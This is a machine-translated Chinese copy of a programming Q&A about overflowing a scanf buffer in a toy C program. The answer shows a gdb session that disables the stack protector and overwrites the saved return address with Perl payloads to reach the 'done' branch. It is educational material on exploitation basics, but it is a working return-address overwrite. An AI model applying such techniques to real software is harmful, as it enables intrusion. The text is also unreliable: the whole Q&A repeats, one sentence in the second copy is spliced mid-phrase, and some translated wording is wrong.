我怎样才能溢出内存
How can I overflow the memory
我正在尝试导致缓冲区溢出以覆盖变量以执行 if 语句的第一部分。但是,每次我尝试执行 if 语句的第二部分时都会发生分段错误。
代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(){
char username[10];
volatile int password = 0;
scanf("%s", username);
if(password != 0){
printf("done\n");
}else{
printf("tryharder\n");
}
return 0;
}
我是用gcc编译的:
gcc pwn.c -o pwn
我也试过:
gcc pwn.c -o pwn -fno-stack-protector
当我试图导致内存溢出时,我使用:
kali@salluc:~/$ ./pwn
00000000000000000000000000000000000000000000000000
tryharder
Segmentation fault
我想知道我应该怎么做才能覆盖密码变量,以及为什么我使用的方法不起作用。
How can I overflow the memory
你正在这样做 - 将超过 10 个字节放入 password
数组,使其溢出。
what should I do to be able to overwrite the password variable
在 x86 上,堆栈向数字较低的地址增长。你必须把密码放在用户名之前,或者转移到不同的平台。
#include <stdio.h>
int main() {
volatile int password = 0;
char username[10];
scanf("%s", username);
if(password != 0){
printf("done\n");
}else{
printf("tryharder\n");
}
return 0;
}
why the method I'm using is not working.
因为它不会覆盖password
变量,所以它会覆盖不相关的堆栈。
尝试覆盖堆栈以将 RIP(在 x86_64,当今最常用的拱门上)指向 if(password != 0)
条件之后的片段。在 gdb 中编译然后调试它看起来像这样:
[marshall@jerkon]{10:27 PM}: [~/Hack] $ gcc aba.c -o aba -fno-stack-protector -ggdb
[marshall@jerkon]{10:28 PM}: [~/Hack] $ gdb ./aba
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./aba...
(gdb) r <<< $(printf "AAAAAAAAAAAAAAAAAA")
Starting program: /home/marshall/Hack/aba <<< $(printf "AAAAAAAAAAAAAAAAAA")
tryharder
tryharder
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7fab4c0 in _IO_stdfile_1_lock () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) disas main
Dump of assembler code for function main:
0x0000555555555169 <+0>: endbr64
0x000055555555516d <+4>: push %rbp
0x000055555555516e <+5>: mov %rsp,%rbp
0x0000555555555171 <+8>: sub [=10=]x10,%rsp
0x0000555555555175 <+12>: movl [=10=]x0,-0x10(%rbp)
0x000055555555517c <+19>: lea -0xa(%rbp),%rax
0x0000555555555180 <+23>: mov %rax,%rsi
0x0000555555555183 <+26>: lea 0xe7a(%rip),%rdi # 0x555555556004
0x000055555555518a <+33>: mov [=10=]x0,%eax
0x000055555555518f <+38>: callq 0x555555555070 <__isoc99_scanf@plt>
0x0000555555555194 <+43>: mov -0x10(%rbp),%eax
0x0000555555555197 <+46>: test %eax,%eax
0x0000555555555199 <+48>: je 0x5555555551a9 <main+64>
0x000055555555519b <+50>: lea 0xe65(%rip),%rdi # 0x555555556007
0x00005555555551a2 <+57>: callq 0x555555555060 <puts@plt>
0x00005555555551a7 <+62>: jmp 0x5555555551b5 <main+76>
0x00005555555551a9 <+64>: lea 0xe5c(%rip),%rdi # 0x55555555600c
0x00005555555551b0 <+71>: callq 0x555555555060 <puts@plt>
0x00005555555551b5 <+76>: mov [=10=]x0,%eax
0x00005555555551ba <+81>: leaveq
0x00005555555551bb <+82>: retq
End of assembler dump.
(gdb) break 10
Breakpoint 1 at 0x555555555194: file aba.c, line 10.
(gdb) r <<< $(printf "AAAAAAAAAAAAAAAAAA")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(printf "AAAAAAAAAAAAAAAAAA")
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb) stepi
10 if(password != 0){
(gdb) stepi
0x0000555555555199 10 if(password != 0){
(gdb) stepi
13 printf("tryharder\n");
(gdb) info reg
rax 0x0 0
rbx 0x5555555551c0 93824992235968
rcx 0x0 0
rdx 0x0 0
rsi 0xa 10
rdi 0x7fffffffdb30 140737488345904
rbp 0x7fffffffe080 0x7fffffffe080
rsp 0x7fffffffe070 0x7fffffffe070
r8 0xa 10
r9 0x7c 124
r10 0x7ffff7fa8be0 140737353780192
r11 0x246 582
r12 0x555555555080 93824992235648
r13 0x7fffffffe170 140737488347504
r14 0x0 0
r15 0x0 0
rip 0x5555555551a9 0x5555555551a9 <main+64>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) cont
Continuing.
tryharder
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb)
Continuing.
tryharder
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7fab4c0 in _IO_stdfile_1_lock () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) r <<< $(perl -e 'print "A"x18 . "\x66\x55\x44\x33\x22\x11";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(perl -e 'print "A"x18 . "\x66\x55\x44\x33\x22\x11";')
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb) cont
Continuing.
tryharder
Program received signal SIGSEGV, Segmentation fault.
0x0000112233445566 in ?? ()
(gdb) disas main
Dump of assembler code for function main:
0x0000555555555169 <+0>: endbr64
0x000055555555516d <+4>: push %rbp
0x000055555555516e <+5>: mov %rsp,%rbp
0x0000555555555171 <+8>: sub [=10=]x10,%rsp
0x0000555555555175 <+12>: movl [=10=]x0,-0x10(%rbp)
0x000055555555517c <+19>: lea -0xa(%rbp),%rax
0x0000555555555180 <+23>: mov %rax,%rsi
0x0000555555555183 <+26>: lea 0xe7a(%rip),%rdi # 0x555555556004
0x000055555555518a <+33>: mov [=10=]x0,%eax
0x000055555555518f <+38>: callq 0x555555555070 <__isoc99_scanf@plt>
0x0000555555555194 <+43>: mov -0x10(%rbp),%eax
0x0000555555555197 <+46>: test %eax,%eax
0x0000555555555199 <+48>: je 0x5555555551a9 <main+64>
0x000055555555519b <+50>: lea 0xe65(%rip),%rdi # 0x555555556007
0x00005555555551a2 <+57>: callq 0x555555555060 <puts@plt>
0x00005555555551a7 <+62>: jmp 0x5555555551b5 <main+76>
0x00005555555551a9 <+64>: lea 0xe5c(%rip),%rdi # 0x55555555600c
0x00005555555551b0 <+71>: callq 0x555555555060 <puts@plt>
0x00005555555551b5 <+76>: mov [=10=]x0,%eax
0x00005555555551ba <+81>: leaveq
0x00005555555551bb <+82>: retq
End of assembler dump.
(gdb) break 11
Breakpoint 2 at 0x55555555519b: file aba.c, line 11.
(gdb) r <<< $(perl -e 'print "A"x18 . "\x9b\x51\x55\x55\x55\x55";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(perl -e 'print "A"x18 . "\x9b\x51\x55\x55\x55\x55";')
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb) next
13 printf("tryharder\n");
(gdb) next
tryharder
15 return 0;
(gdb) next
16 }
(gdb) next
Breakpoint 2, main () at aba.c:11
11 printf("done\n");
(gdb) next
done
15 return 0;
(gdb) next
16 }
(gdb) next
Program received signal SIGBUS, Bus error.
main () at aba.c:16
16 }
(gdb) q
A debugging session is active.
Inferior 1 [process 336779] will be killed.
Quit anyway? (y or n) y
[marshall@jerkon]{10:34 PM}: [~/Hack] $
你会发现24个字符允许你通过反复试验覆盖堆栈上的return指针。然后一旦你让它崩溃,你会看到尽可能多的 41(大写“A”)在进入内存的另一部分(在 0x0000555555555555 区域之外)之前适合缓冲区。现在在你想跳转到的地方设置一个中断点,你可以用 break 来完成,也可以是内存地址,或者任何你觉得舒服的地方。然后(现在注意ti是倒过来的),你可以用A在内存中建立到RIP覆盖,然后写入665544332211作为占位符。当它试图跳转到 0x0000112233445566 处的下一条指令时,您应该以错误告终。当你在玩它的时候,你可以在看起来像 0x0000112233445566 in ?? ()
的行中找到你将到达的地址。现在只需插入最接近您的任何东西:
printf("done\n");
我的系统是:
0x000055555555519b <+50>: lea 0xe65(%rip),%rdi # 0x555555556007
再次向后插入新的已知值。然后如您所见,当您看到(在我放置断点 #2 的位置之后)时,覆盖将完成:
Breakpoint 2, main () at aba.c:11
11 printf("done\n");
(gdb) next
done
这个 BoF 非常简单,但您应该了解基本概念。在实践中,你会有堆栈保护,一个内核随机堆栈,通常它会比跳转到不同的指令复杂得多,你可能需要 shellcode 等。
我正在尝试导致缓冲区溢出以覆盖变量以执行 if 语句的第一部分。但是,每次我尝试执行 if 语句的第二部分时都会发生分段错误。
代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(){
char username[10];
volatile int password = 0;
scanf("%s", username);
if(password != 0){
printf("done\n");
}else{
printf("tryharder\n");
}
return 0;
}
我是用gcc编译的:
gcc pwn.c -o pwn
我也试过:
gcc pwn.c -o pwn -fno-stack-protector
当我试图导致内存溢出时,我使用:
kali@salluc:~/$ ./pwn
00000000000000000000000000000000000000000000000000
tryharder
Segmentation fault
我想知道我应该怎么做才能覆盖密码变量,以及为什么我使用的方法不起作用。
How can I overflow the memory
你正在这样做 - 将超过 10 个字节放入 password
数组,使其溢出。
what should I do to be able to overwrite the password variable
在 x86 上,堆栈向数字较低的地址增长。你必须把密码放在用户名之前,或者转移到不同的平台。
#include <stdio.h>
int main() {
volatile int password = 0;
char username[10];
scanf("%s", username);
if(password != 0){
printf("done\n");
}else{
printf("tryharder\n");
}
return 0;
}
why the method I'm using is not working.
因为它不会覆盖password
变量,所以它会覆盖不相关的堆栈。
尝试覆盖堆栈以将 RIP(在 x86_64,当今最常用的拱门上)指向 if(password != 0)
条件之后的片段。在 gdb 中编译然后调试它看起来像这样:
[marshall@jerkon]{10:27 PM}: [~/Hack] $ gcc aba.c -o aba -fno-stack-protector -ggdb
[marshall@jerkon]{10:28 PM}: [~/Hack] $ gdb ./aba
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./aba...
(gdb) r <<< $(printf "AAAAAAAAAAAAAAAAAA")
Starting program: /home/marshall/Hack/aba <<< $(printf "AAAAAAAAAAAAAAAAAA")
tryharder
tryharder
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7fab4c0 in _IO_stdfile_1_lock () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) disas main
Dump of assembler code for function main:
0x0000555555555169 <+0>: endbr64
0x000055555555516d <+4>: push %rbp
0x000055555555516e <+5>: mov %rsp,%rbp
0x0000555555555171 <+8>: sub [=10=]x10,%rsp
0x0000555555555175 <+12>: movl [=10=]x0,-0x10(%rbp)
0x000055555555517c <+19>: lea -0xa(%rbp),%rax
0x0000555555555180 <+23>: mov %rax,%rsi
0x0000555555555183 <+26>: lea 0xe7a(%rip),%rdi # 0x555555556004
0x000055555555518a <+33>: mov [=10=]x0,%eax
0x000055555555518f <+38>: callq 0x555555555070 <__isoc99_scanf@plt>
0x0000555555555194 <+43>: mov -0x10(%rbp),%eax
0x0000555555555197 <+46>: test %eax,%eax
0x0000555555555199 <+48>: je 0x5555555551a9 <main+64>
0x000055555555519b <+50>: lea 0xe65(%rip),%rdi # 0x555555556007
0x00005555555551a2 <+57>: callq 0x555555555060 <puts@plt>
0x00005555555551a7 <+62>: jmp 0x5555555551b5 <main+76>
0x00005555555551a9 <+64>: lea 0xe5c(%rip),%rdi # 0x55555555600c
0x00005555555551b0 <+71>: callq 0x555555555060 <puts@plt>
0x00005555555551b5 <+76>: mov [=10=]x0,%eax
0x00005555555551ba <+81>: leaveq
0x00005555555551bb <+82>: retq
End of assembler dump.
(gdb) break 10
Breakpoint 1 at 0x555555555194: file aba.c, line 10.
(gdb) r <<< $(printf "AAAAAAAAAAAAAAAAAA")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(printf "AAAAAAAAAAAAAAAAAA")
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb) stepi
10 if(password != 0){
(gdb) stepi
0x0000555555555199 10 if(password != 0){
(gdb) stepi
13 printf("tryharder\n");
(gdb) info reg
rax 0x0 0
rbx 0x5555555551c0 93824992235968
rcx 0x0 0
rdx 0x0 0
rsi 0xa 10
rdi 0x7fffffffdb30 140737488345904
rbp 0x7fffffffe080 0x7fffffffe080
rsp 0x7fffffffe070 0x7fffffffe070
r8 0xa 10
r9 0x7c 124
r10 0x7ffff7fa8be0 140737353780192
r11 0x246 582
r12 0x555555555080 93824992235648
r13 0x7fffffffe170 140737488347504
r14 0x0 0
r15 0x0 0
rip 0x5555555551a9 0x5555555551a9 <main+64>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) cont
Continuing.
tryharder
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb)
Continuing.
tryharder
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7fab4c0 in _IO_stdfile_1_lock () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) r <<< $(perl -e 'print "A"x18 . "\x66\x55\x44\x33\x22\x11";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(perl -e 'print "A"x18 . "\x66\x55\x44\x33\x22\x11";')
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb) cont
Continuing.
tryharder
Program received signal SIGSEGV, Segmentation fault.
0x0000112233445566 in ?? ()
(gdb) disas main
Dump of assembler code for function main:
0x0000555555555169 <+0>: endbr64
0x000055555555516d <+4>: push %rbp
0x000055555555516e <+5>: mov %rsp,%rbp
0x0000555555555171 <+8>: sub [=10=]x10,%rsp
0x0000555555555175 <+12>: movl [=10=]x0,-0x10(%rbp)
0x000055555555517c <+19>: lea -0xa(%rbp),%rax
0x0000555555555180 <+23>: mov %rax,%rsi
0x0000555555555183 <+26>: lea 0xe7a(%rip),%rdi # 0x555555556004
0x000055555555518a <+33>: mov [=10=]x0,%eax
0x000055555555518f <+38>: callq 0x555555555070 <__isoc99_scanf@plt>
0x0000555555555194 <+43>: mov -0x10(%rbp),%eax
0x0000555555555197 <+46>: test %eax,%eax
0x0000555555555199 <+48>: je 0x5555555551a9 <main+64>
0x000055555555519b <+50>: lea 0xe65(%rip),%rdi # 0x555555556007
0x00005555555551a2 <+57>: callq 0x555555555060 <puts@plt>
0x00005555555551a7 <+62>: jmp 0x5555555551b5 <main+76>
0x00005555555551a9 <+64>: lea 0xe5c(%rip),%rdi # 0x55555555600c
0x00005555555551b0 <+71>: callq 0x555555555060 <puts@plt>
0x00005555555551b5 <+76>: mov [=10=]x0,%eax
0x00005555555551ba <+81>: leaveq
0x00005555555551bb <+82>: retq
End of assembler dump.
(gdb) break 11
Breakpoint 2 at 0x55555555519b: file aba.c, line 11.
(gdb) r <<< $(perl -e 'print "A"x18 . "\x9b\x51\x55\x55\x55\x55";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(perl -e 'print "A"x18 . "\x9b\x51\x55\x55\x55\x55";')
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb) next
13 printf("tryharder\n");
(gdb) next
tryharder
15 return 0;
(gdb) next
16 }
(gdb) next
Breakpoint 2, main () at aba.c:11
11 printf("done\n");
(gdb) next
done
15 return 0;
(gdb) next
16 }
(gdb) next
Program received signal SIGBUS, Bus error.
main () at aba.c:16
16 }
(gdb) q
A debugging session is active.
Inferior 1 [process 336779] will be killed.
Quit anyway? (y or n) y
[marshall@jerkon]{10:34 PM}: [~/Hack] $
你会发现24个字符允许你通过反复试验覆盖堆栈上的return指针。然后一旦你让它崩溃,你会看到尽可能多的 41(大写“A”)在进入内存的另一部分(在 0x0000555555555555 区域之外)之前适合缓冲区。现在在你想跳转到的地方设置一个中断点,你可以用 break 0x0000112233445566 in ?? ()
的行中找到你将到达的地址。现在只需插入最接近您的任何东西:
printf("done\n");
我的系统是:
0x000055555555519b <+50>: lea 0xe65(%rip),%rdi # 0x555555556007
再次向后插入新的已知值。然后如您所见,当您看到(在我放置断点 #2 的位置之后)时,覆盖将完成:
Breakpoint 2, main () at aba.c:11
11 printf("done\n");
(gdb) next
done
这个 BoF 非常简单,但您应该了解基本概念。在实践中,你会有堆栈保护,一个内核随机堆栈,通常它会比跳转到不同的指令复杂得多,你可能需要 shellcode 等。